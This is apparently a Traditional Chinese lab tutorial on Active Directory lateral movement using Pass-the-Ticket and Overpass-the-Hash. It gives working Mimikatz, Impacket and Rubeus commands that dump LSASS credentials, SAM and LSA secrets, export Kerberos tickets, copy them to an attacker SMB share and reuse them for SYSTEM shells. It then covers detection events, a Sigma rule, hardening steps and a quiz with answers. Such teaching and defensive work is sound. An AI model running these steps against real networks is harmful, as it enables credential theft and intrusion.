昨天我們成功使用 Pass-the-Hash 技術橫向移動,今天要深入探討另一個關鍵技術:Pass-the-Ticket (PtT)。在現代 AD 環境中,隨著 NTLM 逐漸被限制,Kerberos 成為主要認證協定。掌握 PtT 技術,就像拿到了整個王國的通行證。
票證類型:
├── TGT (Ticket Granting Ticket)
│ └── 用於向 KDC 請求服務票證
└── TGS (Service Ticket)
└── 用於存取特定服務
原理說明:
信任鏈流程:
為什麼能成功提取?
技術細節:
LSASS 記憶體結構:
├── MSV1_0 (NTLM 認證套件)
│ ├── 使用者名稱
│ ├── 域名
│ └── NTLM Hash
├── Kerberos (票證套件)
│ ├── TGT
│ └── TGS 列表
└── WDigest (舊版快取)
└── 明文密碼(如果啟用)
ADMIN_HASH="aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4"
# 使用 psexec 連接
~/.venvs/impacket/bin/psexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22
為什麼這步驟成功?
1.NTLM 認證機制:Windows 接受 hash 作為密碼的等價物
2.SMB 協定支援:PsExec 透過 SMB 建立服務
3.管理員權限:Administrator hash 擁有建立服務的權限
流程解析:
PsExec 執行流程:
1. SMB 認證(使用 NTLM hash)
2. 連接 ADMIN$ 共享
3. 上傳執行檔到 C:\Windows
4. 建立並啟動服務
5. 獲得 SYSTEM 權限 shell
C:\temp\mimikatz.exe
privilege::debug
- 提升權限privilege::debug
為什麼需要這個權限?
權限提升流程:
// Windows API 呼叫順序
1. OpenProcessToken () - 開啟目前 process 權杖
2. LookupPrivilegeValue () - 查找 SeDebugPrivilege
3. AdjustTokenPrivileges () - 啟用權限
4. OpenProcess (LSASS_PID) - 現在可以開啟 LSASS
sekurlsa::logonpasswords
- 提取憑證sekurlsa::logonpasswords
成功提取的技術基礎:
1.記憶體結構識別:Mimikatz 識別 LSASS 中的認證套件結構
2.解密演算法:使用 Windows 內部 API 解密儲存的憑證
3.多重來源:從 MSV、Kerberos、WDigest 等多個來源提取
提取流程詳解:
sekurlsa::logonpasswords
執行步驟:
sekurlsa::tickets /export
- 導出票證sekurlsa::tickets /export
檔案命名規則解析:
[0;3e7]-2-0-40e10000-Administrator@krbtgt-NORTH.SEVENKINGDOMS.LOCAL.kirbi
| | | | | | |
| | | | | | └─ 域名
| | | | | └─ 服務類型 (krbtgt=TGT)
| | | | └─ 使用者名稱
| | | └─ 票證標誌 (權限位元)
| | └─ 票證索引 (同一會話中的序號)
| └─ 票證類型 (2=TGT, 0=TGS)
└─ LUID (登入會話識別碼)
票證標誌含義:
40e10000
= 可轉發、可更新、預認證、初始60a10000
= 包含轉發標記的委派票證lsadump::sam
- 提取本機 SAMlsadump::sam
為什麼能提取 SAM?
提取流程:
1. 從註冊表獲取 SYSKEY
2. 解密 SAM 中的 F 值
3. 列舉所有本機使用者
4. 解密每個使用者的 V 值獲得 hash
lsadump::secrets
- 提取 LSA Secretslsadump::secrets
儲存的敏感資訊類型:
DefaultPassword
- 自動登入密碼_SC_*
- 服務帳號密碼DPAPI_SYSTEM
- 系統級 DPAPI 主密鑰NL$KM
- 快取域憑證加密密鑰解密過程:
1. 讀取 SECURITY hive
2. 獲取 LSA 加密密鑰
3. 解密 Policy\Secrets 下的項目
4. 轉換為可讀格式
為什麼要切換目錄?
cd C:\temp
也可以在 Mimikatz 中切換:
當票證過期時,需要重新提取:
票證生命週期:
預設時間設定:
├── TGT 有效期:10 小時
├── TGT 更新期:7 天
├── TGS 有效期:10 小時
└── 時間容差:5 分鐘
# 刪除舊票證
del *.kirbi
# 提取特定 LUID 的票證
C:\temp\mimikatz.exe
sekurlsa::tickets /export/luid:0x54523
LUID 識別方法:
sekurlsa::logonpasswords
找到目標使用者/luid:
參數精確提取結果:
dir *robb.stark*.kirbi
在 Kali 上:
cd /tmp/loot
~/.venvs/impacket/bin/smbserver.py share . -smb2support
為什麼使用 SMB?
-smb2support
確保相容性cd c:\temp
dir
複製所有票證:
copy C:\temp\*.kirbi \\192.168.139.136\share\
命令解析:
*.kirbi
- 萬用字元匹配所有票證\\IP\share\
- UNC 路徑格式或只複製特定使用者:
copy C:\temp\*robb.stark*.kirbi \\192.168.139.136\share\
確認接收成功:
# 從 .kirbi 轉換為 .ccache
impacket-ticketConverter [票證名稱].kirbi [新名字].ccache
# 設定環境變數
export KRB5CCNAME=/path/to/[新名字].ccache
# 檢查票證
klist
格式差異說明:
.kirbi (Windows) .ccache (Linux/MIT Kerberos)
├── Mimikatz 格式 ├── MIT Kerberos 格式
├── 二進制結構 ├── 標準化結構
└── Windows API 使用 └── libkrb5 使用
# 使用票證連線(注意 -k 和 -no-pass)
impacket-psexec -k -no-pass -dc-ip 192.168.139.11 north.sevenkingdoms.local/robb.stark@winterfell.north.sevenkingdoms.local
參數詳解:
-k
: 使用 Kerberos 認證而非 NTLM-no-pass
: 不需要密碼(使用票證)-dc-ip
: 指定 KDC 位置(重要!)認證流程:
1. 讀取 KRB5CCNAME 環境變數
2. 載入票證到記憶體
3. 向目標發送 AP-REQ
4. 目標驗證票證簽名
5. 建立認證會話
成功獲得 SYSTEM 權限:
# 使用 Mimikatz 注入票證
mimikatz.exe
kerberos::ptt ticket.kirbi
注入原理:
LsaCallAuthenticationPackage
驗證與使用:
# 驗證票證已載入
klist
# 現在可以直接存取資源
dir \\winterfell\c$
Enter-PSSession -ComputerName winterfell.north.sevenkingdoms.local
Overpass-the-Hash 結合兩種技術的優點:
傳統限制:
OpTH 解決方案:
# 步驟 1:使用 NTLM hash 取得 TGT
impacket-getTGT -hashes :dbd13e1c4e338284ac4e9874f7de6ef4 \
north.sevenkingdoms.local/administrator
內部流程:
1. 構造 AS-REQ 請求
2. 使用 NTLM hash 作為密鑰
3. KDC 驗證並回傳 TGT
4. 儲存為 .ccache 檔案
# 步驟 2:使用 TGT
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass administrator@winterfell.north.sevenkingdoms.local
# 在 Windows 上
.\Rubeus.exe asktgt /user:administrator /rc4:dbd13e1c4e338284ac4e9874f7de6ef4 /ptt
參數說明:
/user:
- 目標使用者/rc4:
- NTLM hash(RC4-HMAC)/ptt
- Pass-the-Ticket(自動注入)特性 | Pass-the-Hash | Pass-the-Ticket | Overpass-the-Hash |
---|---|---|---|
需要密碼 | ❌ | ❌ | ❌ |
需要 Hash | ✅ | ❌ | ✅ |
需要票證 | ❌ | ✅ | ❌(自動產生) |
Kerberos-only 環境 | ❌ | ✅ | ✅ |
產生 4768 事件 | ❌ | ❌ | ✅(正常行為) |
隱蔽性 | 低 | 中 | 高 |
Event ID | 來源 | 描述 | 檢測重點 |
---|---|---|---|
4624 | Security | 帳號登入 | Type 3 + 異常來源 IP |
4648 | Security | 明確憑證使用 | 非預期的憑證使用 |
4768 | Security | TGT 請求 | 異常時間 / 來源 |
4769 | Security | 服務票證請求 | 大量請求 / 異常服務 |
4770 | Security | 票證更新 | 過期票證更新 |
7045 | System | 服務安裝 | PSEXESVC 特徵 |
檢測邏輯範例:
<!-- SIGMA 規則範例 -->
title: Suspicious Kerberos Ticket Request Pattern
detection:
selection:
EventID: 4768
TicketOptions: '0x40810000' # 可轉發 + 可更新
TicketEncryptionType: 0x17 # RC4-HMAC
timeframe: 5m
condition: selection | count () > 10
# 1. 限制 NTLM - 逐步實施
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "LmCompatibilityLevel" -Value 5
實施步驟:
# 2. Protected Users 群組
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator"
Protected Users 保護:
需要橫向移動?
├── 有密碼?
│ └── 直接認證(最簡單但會留下痕跡)
├── 有 Hash?
│ ├── NTLM 可用?
│ │ └── Pass-the-Hash(快速有效)
│ └── 只有 Kerberos?
│ └── Overpass-the-Hash(繞過限制)
└── 有票證?
├── TGT?
│ └── 萬能通行(最強大)
└── TGS?
└── 特定服務存取(有限但隱蔽)
1.票證架構:理解 TGT vs TGS 的差異與用途
2.提取技術:掌握 Mimikatz 各種票證提取方法
3.格式轉換:.kirbi ↔ .ccache 跨平台使用
4.OpTH 技術:結合 Hash 和 Kerberos 的優勢
5.防禦重點:監控異常 Kerberos 活動模式
Q1: 在 Kerberos 票證檔名 [0;3e7]-2-0-40e10000-Administrator@krbtgt-DOMAIN.LOCAL.kirbi
中,數字 "2" 代表什麼?
A. 票證有效期為 2 小時
B. 這是第 2 個導出的票證
C. 票證類型為 TGT(Ticket Granting Ticket)
D. 票證使用 AES-256 加密
答案:C
解析:
在 Mimikatz 票證命名規則中,第二個數字代表票證類型:
2
= TGT (Ticket Granting Ticket)0
或 1
= TGS (Service Ticket)Q2: 執行以下命令時為什麼會失敗?
impacket-psexec -k -no-pass north.sevenkingdoms.local/robb.stark@winterfell
A. 缺少 robb.stark 的密碼
B. 沒有指定 -dc-ip
參數
C. 票證檔案格式錯誤
D. 需要先執行 kinit 命令
答案:B
解析:
-k
參數),必須指定 DC 的 IP 位址impacket-psexec -k -no-pass -dc-ip 192.168.139.11 north.sevenkingdoms.local/robb.stark@winterfell
-dc-ip
告訴工具 KDC(Key Distribution Center)的位置Q3: 相較於 Pass-the-Hash,Overpass-the-Hash 的主要優勢是什麼?
A. 不會在目標系統留下任何日誌
B. 可以在純 Kerberos 環境中使用
C. 執行速度快 10 倍以上
D. 不需要管理員權限
答案:B
解析:
Q4: 以下哪個 Windows 事件 ID 最能幫助偵測異常的 Pass-the-Ticket 攻擊?
A. Event 4624 - 帳戶登入
B. Event 4768 - Kerberos TGT 請求
C. Event 7045 - 服務安裝
D. Event 4776 - NTLM 認證
答案:B
解析:
Q5: 安全團隊實施了以下哪項措施後,傳統的 Pass-the-Ticket 攻擊仍然有效?
A. 將所有域管理員加入 Protected Users 群組
B. 啟用 Credential Guard
C. 每 30 天更換一次 krbtgt 密碼
D. 禁用 RC4 加密,強制使用 AES
答案:D
解析: